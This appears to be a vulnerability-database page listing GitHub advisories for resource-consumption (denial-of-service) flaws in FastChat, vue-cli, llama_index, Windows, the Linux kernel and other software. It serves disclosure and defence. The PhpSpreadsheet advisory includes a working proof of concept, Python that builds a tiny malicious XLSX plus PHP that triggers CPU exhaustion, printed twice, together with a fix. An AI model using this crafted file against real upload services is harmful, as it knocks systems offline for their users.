CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
5521 vulnerabilities reference this CWE, most recent first.
GHSA-79RP-V9RM-GXM8
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-21 16:35A Denial of Service (DoS) vulnerability exists in the file upload feature of lm-sys/fastchat version 0.2.36. The vulnerability is due to improper handling of form-data with a large filename in the file upload request. An attacker can exploit this by sending a payload with an excessively large filename, causing the server to become overwhelmed and unavailable to legitimate users.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "fschat"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.2.36"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-10912"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-21T16:35:44Z",
"nvd_published_at": "2025-03-20T10:15:21Z",
"severity": "HIGH"
},
"details": "A Denial of Service (DoS) vulnerability exists in the file upload feature of lm-sys/fastchat version 0.2.36. The vulnerability is due to improper handling of form-data with a large filename in the file upload request. An attacker can exploit this by sending a payload with an excessively large filename, causing the server to become overwhelmed and unavailable to legitimate users.",
"id": "GHSA-79rp-v9rm-gxm8",
"modified": "2025-03-21T16:35:44Z",
"published": "2025-03-20T12:32:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10912"
},
{
"type": "PACKAGE",
"url": "https://github.com/lm-sys/FastChat"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/52f335b8-1134-4d0f-acb4-efef516de414"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "FastChat Denial of Service vulnerability"
}
GHSA-79VF-HF9F-J9Q8
Vulnerability from github – Published: 2025-06-09 21:30 – Updated: 2025-06-09 23:10A vulnerability was found in vuejs vue-cli up to 5.0.8. It has been rated as problematic. This issue affects the function HtmlPwaPlugin of the file packages/@vue/cli-plugin-pwa/lib/HtmlPwaPlugin.js of the component Markdown Code Handler. The manipulation leads to inefficient regular expression complexity. The attack may be initiated remotely.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@vue/cli-plugin-pwa"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "5.0.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-5897"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-09T23:10:40Z",
"nvd_published_at": "2025-06-09T21:15:47Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in vuejs vue-cli up to 5.0.8. It has been rated as problematic. This issue affects the function HtmlPwaPlugin of the file packages/@vue/cli-plugin-pwa/lib/HtmlPwaPlugin.js of the component Markdown Code Handler. The manipulation leads to inefficient regular expression complexity. The attack may be initiated remotely.",
"id": "GHSA-79vf-hf9f-j9q8",
"modified": "2025-06-09T23:10:40Z",
"published": "2025-06-09T21:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5897"
},
{
"type": "WEB",
"url": "https://github.com/vuejs/vue-cli/pull/7478"
},
{
"type": "PACKAGE",
"url": "https://github.com/vuejs/vue-cli"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.311669"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.311669"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.585798"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "@vue/cli-plugin-pwa Regular Expression Denial of Service vulnerability"
}
GHSA-79XR-H873-2V98
Vulnerability from github – Published: 2026-01-19 21:33 – Updated: 2026-02-23 09:31A vulnerability was determined in birkir prime up to 0.4.0.beta.0. This affects an unknown function of the file /graphql of the component GraphQL Alias Handler. This manipulation causes resource consumption. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-1174"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-19T20:15:48Z",
"severity": "MODERATE"
},
"details": "A vulnerability was determined in birkir prime up to 0.4.0.beta.0. This affects an unknown function of the file /graphql of the component GraphQL Alias Handler. This manipulation causes resource consumption. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-79xr-h873-2v98",
"modified": "2026-02-23T09:31:22Z",
"published": "2026-01-19T21:33:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1174"
},
{
"type": "WEB",
"url": "https://github.com/birkir/prime/issues/545"
},
{
"type": "WEB",
"url": "https://github.com/birkir/prime"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.341768"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.341768"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.731105"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7C4W-RGX7-J66J
Vulnerability from github – Published: 2023-05-15 12:30 – Updated: 2026-06-01 15:30Uncontrolled Resource Consumption in SICK FTMg AIR FLOW SENSOR with Partnumbers 1100214, 1100215, 1100216, 1120114, 1120116, 1122524, 1122526 allows an remote attacker to influence the availability of the webserver by invocing a Slowloris style attack via HTTP requests.
{
"affected": [],
"aliases": [
"CVE-2023-31409"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-15T11:15:09Z",
"severity": "HIGH"
},
"details": "Uncontrolled Resource Consumption in SICK FTMg AIR FLOW SENSOR with Partnumbers 1100214, 1100215, 1100216, 1120114, 1120116, 1122524, 1122526 allows an remote attacker to influence the availability of the webserver by invocing a Slowloris style attack via HTTP requests.",
"id": "GHSA-7c4w-rgx7-j66j",
"modified": "2026-06-01T15:30:31Z",
"published": "2023-05-15T12:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31409"
},
{
"type": "WEB",
"url": "https://sick.com/.well-known/csaf/white/2023/sca-2023-0004.json"
},
{
"type": "WEB",
"url": "https://sick.com/.well-known/csaf/white/2023/sca-2023-0004.pdf"
},
{
"type": "WEB",
"url": "https://sick.com/psirt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-7C55-W2GM-QG96
Vulnerability from github – Published: 2025-10-14 18:30 – Updated: 2025-10-14 21:30An issue in the Configure New Cluster interface of kafka-ui v0.6.0 to v0.7.2 allows attackers to cause a Denial of Service (DoS) via uploading a crafted configuration file.
{
"affected": [],
"aliases": [
"CVE-2025-60536"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-14T18:15:36Z",
"severity": "HIGH"
},
"details": "An issue in the Configure New Cluster interface of kafka-ui v0.6.0 to v0.7.2 allows attackers to cause a Denial of Service (DoS) via uploading a crafted configuration file.",
"id": "GHSA-7c55-w2gm-qg96",
"modified": "2025-10-14T21:30:44Z",
"published": "2025-10-14T18:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-60536"
},
{
"type": "WEB",
"url": "https://github.com/provectus/kafka-ui"
},
{
"type": "WEB",
"url": "https://github.com/provectus/kafka-ui/blob/v0.7.2/kafka-ui-api/src/main/java/com/provectus/kafka/ui/serdes/builtin/sr/SchemaRegistrySerde.java"
},
{
"type": "WEB",
"url": "https://github.com/vityuasd/VulList/blob/main/CVE-2025-60536.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7C5X-X6MF-J9J5
Vulnerability from github – Published: 2022-08-10 00:00 – Updated: 2022-08-10 00:00Windows Point-to-Point Protocol (PPP) Denial of Service Vulnerability. This CVE ID is unique from CVE-2022-35747.
{
"affected": [],
"aliases": [
"CVE-2022-35769"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-09T20:15:00Z",
"severity": "HIGH"
},
"details": "Windows Point-to-Point Protocol (PPP) Denial of Service Vulnerability. This CVE ID is unique from CVE-2022-35747.",
"id": "GHSA-7c5x-x6mf-j9j5",
"modified": "2022-08-10T00:00:18Z",
"published": "2022-08-10T00:00:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35769"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35769"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-35769"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7C6M-4442-2X6M
Vulnerability from github – Published: 2026-04-29 20:24 – Updated: 2026-05-13 16:31Summary
The XLSX reader's ColumnAndRowAttributes::readRowAttributes() method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a minimal XLSX file (~1.6KB) containing a <row r="999999999"/> element that inflates cachedHighestRow to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.
Details
In src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php at line 216, the row index is cast directly from XML without bounds checking:
// ColumnAndRowAttributes.php:216
$rowIndex = (int) $row['r']; // No validation against AddressRange::MAX_ROW
This value flows through setRowAttributes() (line 126) → $this->worksheet->getRowDimension($rowNumber) (line 60), which updates the cached highest row in Worksheet.php:1348:
// Worksheet.php:1342-1349
public function getRowDimension(int $row): RowDimension
{
if (!isset($this->rowDimensions[$row])) {
$this->rowDimensions[$row] = new RowDimension($row);
$this->cachedHighestRow = max($this->cachedHighestRow, $row);
}
return $this->rowDimensions[$row];
}
The inflated cachedHighestRow is then returned by getHighestRow() (line 1099) and used as the default end bound in RowIterator::resetEnd() (RowIterator.php:86):
// RowIterator.php:86
$this->endRow = $endRow ?: $this->subject->getHighestRow();
Notably, column attributes already have equivalent validation at line 161 (AddressRange::MAX_COLUMN_INT), and cell coordinates are validated in Coordinate::coordinateFromString() (line 40) against MAX_ROW. The row dimension attribute path bypasses both of these checks.
PoC
Step 1: Create the malicious XLSX file (~1.6KB)
import zipfile
import io
content_types = '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>'
rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>'
workbook = '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>'
wb_rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>'
sheet = '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="999999999" ht="15"/></sheetData></worksheet>'
with zipfile.ZipFile('dos_row.xlsx', 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('[Content_Types].xml', content_types)
zf.writestr('_rels/.rels', rels)
zf.writestr('xl/workbook.xml', workbook)
zf.writestr('xl/_rels/workbook.xml.rels', wb_rels)
zf.writestr('xl/worksheets/sheet1.xml', sheet)
print("Created dos_row.xlsx")
Step 2: Load with PhpSpreadsheet (CPU exhaustion)
<?php
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\IOFactory;
$reader = IOFactory::createReader('Xlsx');
$spreadsheet = $reader->load('dos_row.xlsx');
$sheet = $spreadsheet->getActiveSheet();
echo "Highest row: " . $sheet->getHighestRow() . "\n";
// Output: Highest row: 999999999
// This will consume CPU for ~144 seconds (999M iterations)
foreach ($sheet->getRowIterator() as $row) {
// CPU exhaustion
}
Expected output: getHighestRow() returns 999999999. Any row iteration hangs indefinitely.
Impact
- CPU Denial of Service: A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using
getRowIterator()or usesgetHighestRow()as a loop bound. Estimated CPU burn is ~144 seconds per file. - Memory Exhaustion: Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory.
- Amplification: The ratio of input size to resource consumption is extreme — 1,580 bytes triggers nearly 1 billion iterations.
- Common Attack Surface: PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.
Recommended Fix
Add row bounds validation in readRowAttributes() at line 216, matching the column validation pattern already present at line 161:
// src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216
// Before:
$rowIndex = (int) $row['r'];
// After:
$rowIndex = (int) $row['r'];
if ($rowIndex < 1 || $rowIndex > AddressRange::MAX_ROW) {
continue;
}
The AddressRange import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in Coordinate::coordinateFromString() and the column validation at line 161.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.6.0"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "5.7.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.4"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "3.10.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.4.4"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.4.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.1.15"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.1.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.30.3"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.30.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40902"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-29T20:24:13Z",
"nvd_published_at": "2026-05-12T22:16:33Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe XLSX reader\u0027s `ColumnAndRowAttributes::readRowAttributes()` method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a minimal XLSX file (~1.6KB) containing a `\u003crow r=\"999999999\"/\u003e` element that inflates `cachedHighestRow` to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.\n\n## Details\n\nIn `src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php` at line 216, the row index is cast directly from XML without bounds checking:\n\n```php\n// ColumnAndRowAttributes.php:216\n$rowIndex = (int) $row[\u0027r\u0027]; // No validation against AddressRange::MAX_ROW\n```\n\nThis value flows through `setRowAttributes()` (line 126) \u2192 `$this-\u003eworksheet-\u003egetRowDimension($rowNumber)` (line 60), which updates the cached highest row in `Worksheet.php:1348`:\n\n```php\n// Worksheet.php:1342-1349\npublic function getRowDimension(int $row): RowDimension\n{\n if (!isset($this-\u003erowDimensions[$row])) {\n $this-\u003erowDimensions[$row] = new RowDimension($row);\n $this-\u003ecachedHighestRow = max($this-\u003ecachedHighestRow, $row);\n }\n return $this-\u003erowDimensions[$row];\n}\n```\n\nThe inflated `cachedHighestRow` is then returned by `getHighestRow()` (line 1099) and used as the default end bound in `RowIterator::resetEnd()` (RowIterator.php:86):\n\n```php\n// RowIterator.php:86\n$this-\u003eendRow = $endRow ?: $this-\u003esubject-\u003egetHighestRow();\n```\n\nNotably, column attributes already have equivalent validation at line 161 (`AddressRange::MAX_COLUMN_INT`), and cell coordinates are validated in `Coordinate::coordinateFromString()` (line 40) against `MAX_ROW`. The row dimension attribute path bypasses both of these checks.\n\n## PoC\n\n**Step 1: Create the malicious XLSX file (~1.6KB)**\n\n```python\nimport zipfile\nimport io\n\ncontent_types = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cTypes xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\"\u003e\u003cDefault Extension=\"rels\" ContentType=\"application/vnd.openxmlformats-package.relationships+xml\"/\u003e\u003cDefault Extension=\"xml\" ContentType=\"application/xml\"/\u003e\u003cOverride PartName=\"/xl/workbook.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml\"/\u003e\u003cOverride PartName=\"/xl/worksheets/sheet1.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml\"/\u003e\u003c/Types\u003e\u0027\n\nrels = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cRelationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"\u003e\u003cRelationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument\" Target=\"xl/workbook.xml\"/\u003e\u003c/Relationships\u003e\u0027\n\nworkbook = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cworkbook xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\" xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\"\u003e\u003csheets\u003e\u003csheet name=\"Sheet1\" sheetId=\"1\" r:id=\"rId1\"/\u003e\u003c/sheets\u003e\u003c/workbook\u003e\u0027\n\nwb_rels = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cRelationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"\u003e\u003cRelationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet\" Target=\"worksheets/sheet1.xml\"/\u003e\u003c/Relationships\u003e\u0027\n\nsheet = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cworksheet xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\"\u003e\u003csheetData\u003e\u003crow r=\"1\"\u003e\u003cc r=\"A1\"\u003e\u003cv\u003e1\u003c/v\u003e\u003c/c\u003e\u003c/row\u003e\u003crow r=\"999999999\" ht=\"15\"/\u003e\u003c/sheetData\u003e\u003c/worksheet\u003e\u0027\n\nwith zipfile.ZipFile(\u0027dos_row.xlsx\u0027, \u0027w\u0027, zipfile.ZIP_DEFLATED) as zf:\n zf.writestr(\u0027[Content_Types].xml\u0027, content_types)\n zf.writestr(\u0027_rels/.rels\u0027, rels)\n zf.writestr(\u0027xl/workbook.xml\u0027, workbook)\n zf.writestr(\u0027xl/_rels/workbook.xml.rels\u0027, wb_rels)\n zf.writestr(\u0027xl/worksheets/sheet1.xml\u0027, sheet)\n\nprint(\"Created dos_row.xlsx\")\n```\n\n**Step 2: Load with PhpSpreadsheet (CPU exhaustion)**\n\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\n\n$reader = IOFactory::createReader(\u0027Xlsx\u0027);\n$spreadsheet = $reader-\u003eload(\u0027dos_row.xlsx\u0027);\n$sheet = $spreadsheet-\u003egetActiveSheet();\n\necho \"Highest row: \" . $sheet-\u003egetHighestRow() . \"\\n\";\n// Output: Highest row: 999999999\n\n// This will consume CPU for ~144 seconds (999M iterations)\nforeach ($sheet-\u003egetRowIterator() as $row) {\n // CPU exhaustion\n}\n```\n\n**Expected output:** `getHighestRow()` returns 999999999. Any row iteration hangs indefinitely.\n\n## Impact\n\n- **CPU Denial of Service:** A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using `getRowIterator()` or uses `getHighestRow()` as a loop bound. Estimated CPU burn is ~144 seconds per file.\n- **Memory Exhaustion:** Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory.\n- **Amplification:** The ratio of input size to resource consumption is extreme \u2014 1,580 bytes triggers nearly 1 billion iterations.\n- **Common Attack Surface:** PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.\n\n## Recommended Fix\n\nAdd row bounds validation in `readRowAttributes()` at line 216, matching the column validation pattern already present at line 161:\n\n```php\n// src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216\n// Before:\n$rowIndex = (int) $row[\u0027r\u0027];\n\n// After:\n$rowIndex = (int) $row[\u0027r\u0027];\nif ($rowIndex \u003c 1 || $rowIndex \u003e AddressRange::MAX_ROW) {\n continue;\n}\n```\n\nThe `AddressRange` import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in `Coordinate::coordinateFromString()` and the column validation at line 161.",
"id": "GHSA-7c6m-4442-2x6m",
"modified": "2026-05-13T16:31:37Z",
"published": "2026-04-29T20:24:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7c6m-4442-2x6m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40902"
},
{
"type": "PACKAGE",
"url": "https://github.com/PHPOffice/PhpSpreadsheet"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions"
}
GHSA-7C85-87CP-MR6G
Vulnerability from github – Published: 2025-05-10 15:30 – Updated: 2025-10-15 16:12A Denial of Service (DoS) vulnerability has been identified in the KnowledgeBaseWebReader class of the run-llama/llama_index project, affecting version ~ latest(v0.12.15). The vulnerability arises due to inappropriate secure coding measures, specifically the lack of proper implementation of the max_depth parameter in the get_article_urls function. This allows an attacker to exhaust Python's recursion limit through repeated function calls, leading to resource consumption and ultimately crashing the Python process.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "llama-index"
},
"ranges": [
{
"events": [
{
"introduced": "0.12.15"
},
{
"fixed": "0.12.21"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-1752"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-12T20:16:19Z",
"nvd_published_at": "2025-05-10T14:15:32Z",
"severity": "HIGH"
},
"details": "A Denial of Service (DoS) vulnerability has been identified in the KnowledgeBaseWebReader class of the run-llama/llama_index project, affecting version ~ latest(v0.12.15). The vulnerability arises due to inappropriate secure coding measures, specifically the lack of proper implementation of the max_depth parameter in the get_article_urls function. This allows an attacker to exhaust Python\u0027s recursion limit through repeated function calls, leading to resource consumption and ultimately crashing the Python process.",
"id": "GHSA-7c85-87cp-mr6g",
"modified": "2025-10-15T16:12:12Z",
"published": "2025-05-10T15:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1752"
},
{
"type": "WEB",
"url": "https://github.com/run-llama/llama_index/commit/3c65db2947271de3bd1927dc66a044da385de4da"
},
{
"type": "PACKAGE",
"url": "https://github.com/run-llama/llama_index"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/cd7b9082-7d75-42e4-84f5-dbee23cbc467"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "LlamaIndex Vulnerable to Denial of Service (DoS)"
}
GHSA-7C8W-GJF8-H77G
Vulnerability from github – Published: 2023-07-06 21:14 – Updated: 2024-04-04 05:39When an SSL profile is configured on a Virtual Server, undisclosed traffic can cause an increase in CPU or SSL accelerator resource utilization.
Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
{
"affected": [],
"aliases": [
"CVE-2023-24594"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-03T15:15:12Z",
"severity": "MODERATE"
},
"details": "\nWhen an SSL profile is configured on a Virtual Server, undisclosed traffic can cause an increase in CPU or SSL accelerator resource utilization.\u00a0\u00a0\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.",
"id": "GHSA-7c8w-gjf8-h77g",
"modified": "2024-04-04T05:39:09Z",
"published": "2023-07-06T21:14:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24594"
},
{
"type": "WEB",
"url": "https://my.f5.com/manage/s/article/K000133132"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-7C8X-XJQV-R325
Vulnerability from github – Published: 2024-02-28 09:30 – Updated: 2024-08-01 15:31In the Linux kernel, the following vulnerability has been resolved:
net: marvell: prestera: fix port event handling on init
For some reason there might be a crash during ports creation if port events are handling at the same time because fw may send initial port event with down state.
The crash points to cancel_delayed_work() which is called when port went is down. Currently I did not find out the real cause of the issue, so fixed it by cancel port stats work only if previous port's state was up & runnig.
The following is the crash which can be triggered:
[ 28.311104] Unable to handle kernel paging request at virtual address 000071775f776600 [ 28.319097] Mem abort info: [ 28.321914] ESR = 0x96000004 [ 28.324996] EC = 0x25: DABT (current EL), IL = 32 bits [ 28.330350] SET = 0, FnV = 0 [ 28.333430] EA = 0, S1PTW = 0 [ 28.336597] Data abort info: [ 28.339499] ISV = 0, ISS = 0x00000004 [ 28.343362] CM = 0, WnR = 0 [ 28.346354] user pgtable: 4k pages, 48-bit VAs, pgdp=0000000100bf7000 [ 28.352842] [000071775f776600] pgd=0000000000000000, p4d=0000000000000000 [ 28.359695] Internal error: Oops: 96000004 [#1] PREEMPT SMP [ 28.365310] Modules linked in: prestera_pci(+) prestera uio_pdrv_genirq [ 28.372005] CPU: 0 PID: 1291 Comm: kworker/0:1H Not tainted 5.11.0-rc4 #1 [ 28.378846] Hardware name: DNI AmazonGo1 A7040 board (DT) [ 28.384283] Workqueue: prestera_fw_wq prestera_fw_evt_work_fn [prestera_pci] [ 28.391413] pstate: 60000085 (nZCv daIf -PAN -UAO -TCO BTYPE=--) [ 28.397468] pc : get_work_pool+0x48/0x60 [ 28.401442] lr : try_to_grab_pending+0x6c/0x1b0 [ 28.406018] sp : ffff80001391bc60 [ 28.409358] x29: ffff80001391bc60 x28: 0000000000000000 [ 28.414725] x27: ffff000104fc8b40 x26: ffff80001127de88 [ 28.420089] x25: 0000000000000000 x24: ffff000106119760 [ 28.425452] x23: ffff00010775dd60 x22: ffff00010567e000 [ 28.430814] x21: 0000000000000000 x20: ffff80001391bcb0 [ 28.436175] x19: ffff00010775deb8 x18: 00000000000000c0 [ 28.441537] x17: 0000000000000000 